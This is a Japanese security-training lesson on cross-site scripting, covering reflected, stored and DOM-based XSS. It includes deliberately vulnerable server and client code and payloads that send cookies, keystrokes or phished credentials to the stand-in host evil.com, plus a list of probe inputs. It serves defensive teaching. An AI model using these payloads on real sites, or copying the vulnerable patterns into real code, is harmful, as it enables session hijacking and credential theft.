LESSON 25分

XSS攻撃を理解しよう

ストーリー

高橋さんが別の画面を開いた。

「SQLインジェクションだけじゃない。もう1つ、今回のログで気になるパターンがある」

画面には、掲示板の投稿データが表示されている。

html
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

「これは......投稿に JavaScript が埋め込まれている?」

「XSS――クロスサイトスクリプティングだ。この投稿を見た他のユーザーのブラウザで このスクリプトが実行されて、Cookieが攻撃者のサーバーに送信される。 セッションを乗っ取られる可能性がある」


XSSとは

XSS(Cross-Site Scripting) は、Webページに悪意のあるスクリプトを注入し、他のユーザーのブラウザ上で実行させる攻撃です。

攻撃の流れ

1. 攻撃者がスクリプトを含むデータを送信
2. サーバーがそのデータをエスケープせずにHTMLに埋め込む
3. 被害者がそのページにアクセス
4. ブラウザがスクリプトを実行
5. Cookie、セッション、個人情報が攻撃者に送信される

XSSの3つのタイプ

1. 反射型XSS(Reflected XSS)

ユーザーの入力がそのままレスポンスに反映される場合に発生します。

攻撃の流れ:
攻撃者 → 悪意のあるURLを作成 → 被害者にメールで送信
被害者 → URLをクリック → サーバーが入力をそのまま返す → スクリプト実行
typescript
// 脆弱な検索ページ
app.get('/search', (req, res) => {
  const keyword = req.query.q;
  res.send(`<h1>検索結果: ${keyword}</h1>`);
  // keyword に <script>alert('XSS')</script> が入ると実行される
});

攻撃URL:

https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

2. 格納型XSS(Stored XSS)

悪意のあるスクリプトがデータベースに保存され、他のユーザーがそのデータを閲覧するたびに実行されます。

攻撃の流れ:
攻撃者 → 掲示板にスクリプト入りの投稿を送信
サーバー → データベースに保存
被害者A → 掲示板を閲覧 → スクリプト実行
被害者B → 掲示板を閲覧 → スクリプト実行
(閲覧者全員が被害を受ける)
typescript
// 脆弱なコメント表示
app.get('/comments', async (req, res) => {
  const comments = await db.getComments();
  let html = '<div class="comments">';
  for (const comment of comments) {
    html += `<div class="comment">
      <strong>${comment.author}</strong>
      <p>${comment.body}</p>
    </div>`;
    // comment.body に <script> タグが含まれていると実行される
  }
  html += '</div>';
  res.send(html);
});

格納型XSSは反射型より危険です。 攻撃者がURLを配布する必要がなく、そのページを見る全てのユーザーが被害を受けます。

3. DOM-based XSS

サーバーを経由せず、クライアント側のJavaScriptがDOMを操作する過程で発生します。

html
<!-- 脆弱なクライアント側コード -->
<script>
  // URLのハッシュフラグメントをそのまま表示
  const name = document.location.hash.substring(1);
  document.getElementById('greeting').innerHTML = 'こんにちは、' + name + 'さん';
</script>

攻撃URL:

https://example.com/page#<img src=x onerror="alert('XSS')">

サーバーのログには残らないため、検出が困難です。


XSSで何ができるのか

1. セッションハイジャック

javascript
// Cookieを盗んで攻撃者のサーバーに送信
new Image().src = 'https://evil.com/steal?cookie=' + document.cookie;

2. フィッシング

javascript
// 偽のログインフォームを表示して、入力された認証情報を盗む
document.body.innerHTML = `
  <div style="text-align:center;margin-top:100px">
    <h2>セッションが切れました。再度ログインしてください。</h2>
    <form action="https://evil.com/phish" method="POST">
      <input name="email" placeholder="メールアドレス"><br>
      <input name="password" type="password" placeholder="パスワード"><br>
      <button type="submit">ログイン</button>
    </form>
  </div>
`;

3. キーロガー

javascript
// ユーザーのキー入力を全て記録して送信
document.addEventListener('keypress', function(e) {
  new Image().src = 'https://evil.com/log?key=' + e.key;
});

4. ページの改ざん

javascript
// ページの内容を改ざん
document.querySelector('h1').textContent = 'このサイトはハッキングされました';

XSSの見分け方

危険な入力パターン

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src="javascript:alert(1)">
<a href="javascript:alert(1)">click</a>
" onmouseover="alert(1)
' onfocus='alert(1)' autofocus='

脆弱なコードパターン

typescript
// innerHTML に未検証の値を代入
element.innerHTML = userInput;              // 危険

// document.write に未検証の値を使用
document.write(userInput);                  // 危険

// サーバー側でエスケープせずにHTMLを構築
res.send(`<p>${userInput}</p>`);            // 危険

// テンプレートエンジンでエスケープを無効化
// EJS: <%- userInput %>                    // 危険(<%= はエスケープされる)
// Pug: !{userInput}                        // 危険(#{} はエスケープされる)

XSSの3タイプ比較

特性反射型格納型DOM-based
スクリプトの保存先URLパラメータデータベースクライアント側
サーバー経由するするしない
影響範囲URLをクリックした人ページを閲覧した全員URLにアクセスした人
検出の容易さ
危険度

まとめ

ポイント内容
XSSとは悪意のあるスクリプトを他のユーザーのブラウザで実行させる攻撃
3つのタイプ反射型、格納型、DOM-based
被害セッション乗っ取り、フィッシング、キーロガー、ページ改ざん
原因ユーザー入力をエスケープせずにHTMLに出力している

チェックリスト

  • XSSの3つのタイプを区別できる
  • 格納型XSSが最も危険な理由を説明できる
  • XSSで実行可能な攻撃の種類を理解した
  • 脆弱なコードパターンを見分けられる

次のステップへ

XSSの仕組みを学びました。 次のセクションでは、CSRF(クロスサイトリクエストフォージェリ) とその他の攻撃手法を学びます。

Step 1の攻撃手法の全体像を完成させましょう。


推定読了時間: 25分